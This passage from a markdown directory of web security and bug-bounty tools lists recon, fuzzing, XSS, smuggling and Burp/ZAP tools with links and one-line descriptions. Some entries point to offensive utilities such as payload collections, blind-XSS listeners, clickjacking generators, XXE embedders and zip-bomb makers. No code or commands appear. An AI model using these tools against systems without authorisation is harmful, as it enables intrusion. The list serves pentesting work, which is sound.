|![](https://img.shields.io/github/stars/gchq/CyberChef?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[qsreplace](https://github.com/tomnomnom/qsreplace)|Accept URLs on stdin, replace all query string values with a user-supplied value |![](https://img.shields.io/github/stars/tomnomnom/qsreplace?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[boast](https://github.com/marcoagner/boast)|The BOAST Outpost for AppSec Testing (v0.1.0)|![](https://img.shields.io/github/stars/marcoagner/boast?label=%20)|[`oast`](/categorize/tags/oast.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[burl](https://github.com/tomnomnom/burl)|A Broken-URL Checker |![](https://img.shields.io/github/stars/tomnomnom/burl?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[hakcheckurl](https://github.com/hakluke/hakcheckurl)|Takes a list of URLs and returns their HTTP response codes|![](https://img.shields.io/github/stars/hakluke/hakcheckurl?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[anew](https://github.com/tomnomnom/anew)|A tool for adding new lines to files, skipping duplicates|![](https://img.shields.io/github/stars/tomnomnom/anew?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)|A list of useful payloads and bypass for Web Application Security and Pentest/CTF |![](https://img.shields.io/github/stars/swisskyrepo/PayloadsAllTheThings?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[GadgetProbe](https://github.com/BishopFox/GadgetProbe)|Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths.|![](https://img.shields.io/github/stars/BishopFox/GadgetProbe?label=%20)|[`deserialize`](/categorize/tags/deserialize.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[gee](https://github.com/hahwul/gee)|🏵 Gee is tool of stdin to each files and stdout. It is similar to the tee command, but there are more functions for convenience. In addition, it was written as go|![](https://img.shields.io/github/stars/hahwul/gee?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz)|"Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records.|![](https://img.shields.io/github/stars/EdOverflow/can-i-take-over-xyz?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Utils|[gotestwaf](https://github.com/wallarm/gotestwaf)|An open-source project in Golang to test different web application firewalls (WAF) for detection logic and bypasses|![](https://img.shields.io/github/stars/wallarm/gotestwaf?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[Clipboard](https://github.com/Slackadays/Clipboard)|An external brain that remembers anything, anytime, anywhere.|![](https://img.shields.io/github/stars/Slackadays/Clipboard?label=%20)|[`clipboard`](/categorize/tags/clipboard.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C++](/images/c++.png)](/categorize/langs/C++.md)| |Utils|[pentest-tools](https://github.com/gwen001/pentest-tools)|Custom pentesting tools |![](https://img.shields.io/github/stars/gwen001/pentest-tools?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[missing-cve-nuclei-templates](https://github.com/edoardottt/missing-cve-nuclei-templates)|Weekly updated list of missing CVEs in nuclei templates official repository|![](https://img.shields.io/github/stars/edoardottt/missing-cve-nuclei-templates?label=%20)|[`nuclei-templates`](/categorize/tags/nuclei-templates.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Txt](/images/txt.png)](/categorize/langs/Txt.md)| |Utils|[Findsploit](https://github.com/1N3/Findsploit)|Find exploits in local and online databases instantly|![](https://img.shields.io/github/stars/1N3/Findsploit?label=%20)|[`exploit`](/categorize/tags/exploit.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Utils|[httpie](https://github.com/httpie/httpie)|modern, user-friendly command-line HTTP client for the API era|![](https://img.shields.io/github/stars/httpie/httpie?label=%20)|[`http`](/categorize/tags/http.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[difftastic](https://github.com/Wilfred/difftastic)|a structural diff that understands syntax|![](https://img.shields.io/github/stars/Wilfred/difftastic?label=%20)|[`diff`](/categorize/tags/diff.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Utils|[pet](https://github.com/knqyf263/pet)|Simple command-line snippet manager, written in Go.|![](https://img.shields.io/github/stars/knqyf263/pet?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[mubeng](https://github.com/kitabisa/mubeng)|An incredibly fast proxy checker & IP rotator with ease.|![](https://img.shields.io/github/stars/kitabisa/mubeng?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[IntruderPayloads](https://github.com/1N3/IntruderPayloads)||![](https://img.shields.io/github/stars/1N3/IntruderPayloads?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![BlitzBasic](/images/blitzbasic.png)](/categorize/langs/BlitzBasic.md)| |Utils|[bat](https://github.com/sharkdp/bat)|A cat(1) clone with wings.|![](https://img.shields.io/github/stars/sharkdp/bat?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Utils|[PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)|📡 PoC auto collect from GitHub. Be careful malware.|![](https://img.shields.io/github/stars/nomi-sec/PoC-in-GitHub?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Utils|[jsfuck](https://github.com/aemkei/jsfuck)|Write any JavaScript with 6 Characters|![](https://img.shields.io/github/stars/aemkei/jsfuck?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[blistener](https://github.com/fyxme/blistener)|Blind-XSS listener with payloads|![](https://img.shields.io/github/stars/fyxme/blistener?label=%20)|[`xss`](/categorize/tags/xss.md) [`blind-xss`](/categorize/tags/blind-xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[unfurl](https://github.com/tomnomnom/unfurl)|Pull out bits of URLs provided on stdin |![](https://img.shields.io/github/stars/tomnomnom/unfurl?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[ezXSS](https://github.com/ssl/ezXSS)|ezXSS is an easy way for penetration testers and bug bounty hunters to test (blind) Cross Site Scripting. |![](https://img.shields.io/github/stars/ssl/ezXSS?label=%20)|[`xss`](/categorize/tags/xss.md) [`blind-xss`](/categorize/tags/blind-xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![PHP](/images/php.png)](/categorize/langs/PHP.md)| |Utils|[fff](https://github.com/tomnomnom/fff)|The Fairly Fast Fetcher. Requests a bunch of URLs provided on stdin fairly quickly.|![](https://img.shields.io/github/stars/tomnomnom/fff?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[autochrome](https://github.com/nccgroup/autochrome)|This tool downloads, installs, and configures a shiny new copy of Chromium.|![](https://img.shields.io/github/stars/nccgroup/autochrome?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![HTML](/images/html.png)](/categorize/langs/HTML.md)| |Utils|[quickjack](https://github.com/samyk/quickjack)|Quickjack is a point-and-click tool for intuitively producing advanced clickjacking and frame slicing attacks.|![](https://img.shields.io/github/stars/samyk/quickjack?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[CSP Evaluator](https://csp-evaluator.withgoogle.com)|Online CSP Evaluator from google||[`csp`](/categorize/tags/csp.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Utils|[ob_hacky_slack](https://github.com/openbridge/ob_hacky_slack)|Hacky Slack - a bash script that sends beautiful messages to Slack|![](https://img.shields.io/github/stars/openbridge/ob_hacky_slack?label=%20)|[`notify`](/categorize/tags/notify.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Utils|[security-crawl-maze](https://github.com/google/security-crawl-maze)|Security Crawl Maze is a comprehensive testbed for web security crawlers. It contains pages representing many ways in which one can link resources from a valid HTML document.|![](https://img.shields.io/github/stars/google/security-crawl-maze?label=%20)|[`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![HTML](/images/html.png)](/categorize/langs/HTML.md)| |Utils|[xssor2](https://github.com/evilcos/xssor2)|XSS'OR - Hack with JavaScript.|![](https://img.shields.io/github/stars/evilcos/xssor2?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[gotator](https://github.com/Josue87/gotator)|Gotator is a tool to generate DNS wordlists through permutations.|![](https://img.shields.io/github/stars/Josue87/gotator?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[XSS-Catcher](https://github.com/daxAKAhackerman/XSS-Catcher)|Find blind XSS but why not gather data while you're at it.|![](https://img.shields.io/github/stars/daxAKAhackerman/XSS-Catcher?label=%20)|[`xss`](/categorize/tags/xss.md) [`blind-xss`](/categorize/tags/blind-xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[Ronin](https://github.com/ronin-rb/ronin)|Ronin is a free and Open Source Ruby toolkit for security research and development.|![](https://img.shields.io/github/stars/ronin-rb/ronin?label=%20)|[`payload`](/categorize/tags/payload.md) [`http`](/categorize/tags/http.md) [`pentest`](/categorize/tags/pentest.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Utils|[Redcloud](https://github.com/khast3x/Redcloud)|Automated Red Team Infrastructure deployement using Docker|![](https://img.shields.io/github/stars/khast3x/Redcloud?label=%20)|[`infra`](/categorize/tags/infra.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[hurl](https://github.com/Orange-OpenSource/hurl)|Hurl, run and test HTTP requests.|![](https://img.shields.io/github/stars/Orange-OpenSource/hurl?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Utils|[REcollapse](https://github.com/0xacb/recollapse)|REcollapse is a helper tool for black-box regex fuzzing to bypass validations and discover normalizations in web applications|![](https://img.shields.io/github/stars/0xacb/recollapse?label=%20)|[`fuzz`](/categorize/tags/fuzz.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[cent](https://github.com/xm1k3/cent)|Community edition nuclei templates, a simple tool that allows you to organize all the Nuclei templates offered by the community in one place.|![](https://img.shields.io/github/stars/xm1k3/cent?label=%20)|[`nuclei-templates`](/categorize/tags/nuclei-templates.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Utils|[bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)|Some files for bruteforcing certain things.|![](https://img.shields.io/github/stars/random-robbie/bruteforce-lists?label=%20)|[`wordlist`](/categorize/tags/wordlist.md) [`documents`](/categorize/tags/documents.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Txt](/images/txt.png)](/categorize/langs/Txt.md)| |Utils|[Atlas](https://github.com/m4ll0k/Atlas)|Quick SQLMap Tamper Suggester |![](https://img.shields.io/github/stars/m4ll0k/Atlas?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[Phoenix](https://www.hahwul.com/phoenix/)|hahwul's online tools||[`online`](/categorize/tags/online.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[hbxss](https://github.com/hahwul/hbxss)|Security test tool for Blind XSS|![](https://img.shields.io/github/stars/hahwul/hbxss?label=%20)|[`xss`](/categorize/tags/xss.md) [`blind-xss`](/categorize/tags/blind-xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Utils|[template-generator](https://github.com/fransr/template-generator)|A simple variable based template editor using handlebarjs+strapdownjs. The idea is to use variables in markdown based files to easily replace the variables with content. Data is saved temporarily in local storage. PHP is only needed to generate the list of files in the dropdown of templates. |![](https://img.shields.io/github/stars/fransr/template-generator?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[oxml_xxe](https://github.com/BuffaloWill/oxml_xxe)|A tool for embedding XXE/XML exploits into different filetypes |![](https://img.shields.io/github/stars/BuffaloWill/oxml_xxe?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Utils|[zip-bomb](https://github.com/damianrusinek/zip-bomb)|Create a ZIPBomb for a given uncompressed size (flat and nested modes).|![](https://img.shields.io/github/stars/damianrusinek/zip-bomb?label=%20)|[`zipbomb`](/categorize/tags/zipbomb.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Utils|[xss-cheatsheet-data](https://github.com/PortSwigger/xss-cheatsheet-data)|This repository contains all the XSS cheatsheet data to allow contributions from the community. |![](https://img.shields.io/github/stars/PortSwigger/xss-cheatsheet-data?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Env|[Glue](https://github.com/OWASP/glue)|Application Security Automation|![](https://img.shields.io/github/stars/OWASP/glue?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Env|[Crimson](https://github.com/Karmaz95/crimson)|Web Application Security Testing automation.|![](https://img.shields.io/github/stars/Karmaz95/crimson?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Env|[pentest-env](https://github.com/Sliim/pentest-env)|Pentest environment deployer (kali linux + targets) using vagrant and chef.|![](https://img.shields.io/github/stars/Sliim/pentest-env?label=%20)|[`pentest`](/categorize/tags/pentest.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| ### Bookmarklets | Type | Name | Description | Star | Tags | Badges | | --- | --- | --- | --- | --- | --- | ### Browser Addons | Type | Name | Description | Star | Tags | Badges | | --- | --- | --- | --- | --- | --- | |Recon|[Wayback Machine](https://apps.apple.com/us/app/wayback-machine/id1472432422)|History of website|||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![safari](/images/safari.png)| |Recon|[DotGit](https://github.com/davtur19/DotGit)|An extension for checking if .git is exposed in visited websites|![](https://img.shields.io/github/stars/davtur19/DotGit?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[Dark Reader for Safari](https://apps.apple.com/us/app/dark-reader-for-safari/id1438243180)|Dark mode to any site|||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![safari](/images/safari.png)| |Utils|[User-Agent Switcher](https://addons.mozilla.org/ko/firefox/addon/user-agent-switcher-revived/)|quick and easy way to switch between user-agents.|||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![firefox](/images/firefox.png)| |Utils|[MM3 ProxySwitch](https://proxy-offline-browser.com/ProxySwitch/)|Proxy Switch in Firefox and Chrome|||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![firefox](/images/firefox.png)![chrome](/images/chrome.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[cookie-quick-manager](https://github.com/ysard/cookie-quick-manager)|An addon to manage (view, search, create, edit, remove, backup, restore) cookies on Firefox.|![](https://img.shields.io/github/stars/ysard/cookie-quick-manager?label=%20)|[`cookie`](/categorize/tags/cookie.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[Firefox Multi-Account Containers](https://github.com/mozilla/multi-account-containers)|Firefox Multi-Account Containers lets you keep parts of your online life separated into color-coded tabs|![](https://img.shields.io/github/stars/mozilla/multi-account-containers?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![firefox](/images/firefox.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[clear-cache](https://github.com/TenSoja/clear-cache)|Add-on to clear browser cache with a single click or via the F9 key.|![](https://img.shields.io/github/stars/TenSoja/clear-cache?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[PwnFox](https://github.com/yeswehack/PwnFox)|Firefox/Burp extension that provide usefull tools for your security audit.|![](https://img.shields.io/github/stars/yeswehack/PwnFox?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![firefox](/images/firefox.png)![burp](/images/burp.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[postMessage-tracker](https://github.com/fransr/postMessage-tracker)|A Chrome Extension to track postMessage usage (url, domain and stack) both by logging using CORS and also visually as an extension-icon|![](https://img.shields.io/github/stars/fransr/postMessage-tracker?label=%20)|[`js-analysis`](/categorize/tags/js-analysis.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[eval_villain](https://github.com/swoops/eval_villain)|A Firefox Web Extension to improve the discovery of DOM XSS.|![](https://img.shields.io/github/stars/swoops/eval_villain?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[Dark Reader](https://github.com/darkreader/darkreader)|Dark mode to any site|![](https://img.shields.io/github/stars/darkreader/darkreader?label=%20)|[`darkmode`](/categorize/tags/darkmode.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![firefox](/images/firefox.png)![chrome](/images/chrome.png)[![TypeScript](/images/typescript.png)](/categorize/langs/TypeScript.md)| |Utils|[Edit-This-Cookie](https://github.com/ETCExtensions/Edit-This-Cookie)|EditThisCookie is the famous Google Chrome/Chromium extension for editing cookies|![](https://img.shields.io/github/stars/ETCExtensions/Edit-This-Cookie?label=%20)|[`cookie`](/categorize/tags/cookie.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[Hack-Tools](https://github.com/LasCC/Hack-Tools)|The all-in-one Red Team extension for Web Pentester 🛠|![](https://img.shields.io/github/stars/LasCC/Hack-Tools?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![TypeScript](/images/typescript.png)](/categorize/langs/TypeScript.md)| |Utils|[jsonwebtoken.github.io](https://github.com/jsonwebtoken/jsonwebtoken.github.io)|JWT En/Decode and Verify|![](https://img.shields.io/github/stars/jsonwebtoken/jsonwebtoken.github.io?label=%20)|[`jwt`](/categorize/tags/jwt.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Utils|[firefox-container-proxy](https://github.com/bekh6ex/firefox-container-proxy)|Assign a proxy to a Firefox container|![](https://img.shields.io/github/stars/bekh6ex/firefox-container-proxy?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![firefox](/images/firefox.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| ### Burpsuite and ZAP Addons | Type | Name | Description | Star | Tags | Badges | | --- | --- | --- | --- | --- | --- | |Recon|[burp-retire-js](https://github.com/h3xstream/burp-retire-js)||![](https://img.shields.io/github/stars/h3xstream/burp-retire-js?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Recon|[attack-surface-detector-burp](https://github.com/secdec/attack-surface-detector-burp)|The Attack Surface Detector uses static code analyses to identify web app endpoints by parsing routes and identifying parameters|![](https://img.shields.io/github/stars/secdec/attack-surface-detector-burp?label=%20)|[`endpoint`](/categorize/tags/endpoint.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Recon|[attack-surface-detector-zap](https://github.com/secdec/attack-surface-detector-zap)|The Attack Surface Detector uses static code analyses to identify web app endpoints by parsing routes and identifying parameters|![](https://img.shields.io/github/stars/secdec/attack-surface-detector-zap?label=%20)|[`endpoint`](/categorize/tags/endpoint.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Recon|[reflected-parameters](https://github.com/PortSwigger/reflected-parameters)||![](https://img.shields.io/github/stars/PortSwigger/reflected-parameters?label=%20)|[`param`](/categorize/tags/param.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Recon|[HUNT](https://github.com/bugcrowd/HUNT)|Identifies common parameters vulnerable to certain vulnerability classes|![](https://img.shields.io/github/stars/bugcrowd/HUNT?label=%20)|[`param`](/categorize/tags/param.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)![burp](/images/burp.png)[![Kotlin](/images/kotlin.png)](/categorize/langs/Kotlin.md)| |Recon|[BurpJSLinkFinder](https://github.com/InitRoot/BurpJSLinkFinder)||![](https://img.shields.io/github/stars/InitRoot/BurpJSLinkFinder?label=%20)|[`js-analysis`](/categorize/tags/js-analysis.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[Dr. Watson](https://github.com/prodigysml/Dr.-Watson)|Dr. Watson is a simple Burp Suite extension that helps find assets, keys, subdomains, IP addresses, and other useful information|![](https://img.shields.io/github/stars/prodigysml/Dr.-Watson?label=%20)|[`param`](/categorize/tags/param.md) [`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[BurpSuite-Secret_Finder](https://github.com/m4ll0k/BurpSuite-Secret_Finder)||![](https://img.shields.io/github/stars/m4ll0k/BurpSuite-Secret_Finder?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)| |Fuzzer|[param-miner](https://github.com/PortSwigger/param-miner)|Param Miner|![](https://img.shields.io/github/stars/PortSwigger/param-miner?label=%20)|[`param`](/categorize/tags/param.md) [`cache-vuln`](/categorize/tags/cache-vuln.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Fuzzer|[GAP](https://github.com/xnl-h4ck3r/GAP-Burp-Extension)|This is an evolution of the original getAllParams extension for Burp. Not only does it find more potential parameters for you to investigate, but it also finds potential links to try these parameters on.|![](https://img.shields.io/github/stars/xnl-h4ck3r/GAP-Burp-Extension?label=%20)|[`param`](/categorize/tags/param.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)||![](https://img.shields.io/github/stars/PortSwigger/http-request-smuggler?label=%20)|[`smuggle`](/categorize/tags/smuggle.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Scanner|[BurpSuiteHTTPSmuggler](https://github.com/nccgroup/BurpSuiteHTTPSmuggler)||![](https://img.shields.io/github/stars/nccgroup/BurpSuiteHTTPSmuggler?label=%20)|[`smuggle`](/categorize/tags/smuggle.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Scanner|[collaborator-everywhere](https://github.com/PortSwigger/collaborator-everywhere)||![](https://img.shields.io/github/stars/PortSwigger/collaborator-everywhere?label=%20)|[`oast`](/categorize/tags/oast.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Scanner|[Autorize](https://github.com/Quitten/Autorize)||![](https://img.shields.io/github/stars/Quitten/Autorize?label=%20)|[`aaa`](/categorize/tags/aaa.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[AuthMatrix](https://github.com/SecurityInnovation/AuthMatrix)||![](https://img.shields.io/github/stars/SecurityInnovation/AuthMatrix?label=%20)|[`aaa`](/categorize/tags/aaa.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[csp-auditor](https://github.com/GoSecure/csp-auditor)||![](https://img.shields.io/github/stars/GoSecure/csp-auditor?label=%20)|[`csp`](/categorize/tags/csp.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[BurpBounty](https://github.com/wagiro/BurpBounty)||![](https://img.shields.io/github/stars/wagiro/BurpBounty?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![BlitzBasic](/images/blitzbasic.png)](/categorize/langs/BlitzBasic.md)| |Utils|[reflect](https://github.com/cak/reflect)||![](https://img.shields.io/github/stars/cak/reflect?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)[![Kotlin](/images/kotlin.png)](/categorize/langs/Kotlin.md)| |Utils|[zap-hud](https://github.com/zaproxy/zap-hud)||![](https://img.shields.io/github/stars/zaproxy/zap-hud?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[safecopy](https://github.com/yashrs/safecopy)||![](https://img.shields.io/github/stars/yashrs/safecopy?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![burp](/images/burp.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Utils|[HTTPSignatures](https://github.com/nccgroup/HTTPSignatures)|A Burp Suite extension implementing the Signing HTTP Messages draft-ietf-httpbis-message-signatures-01 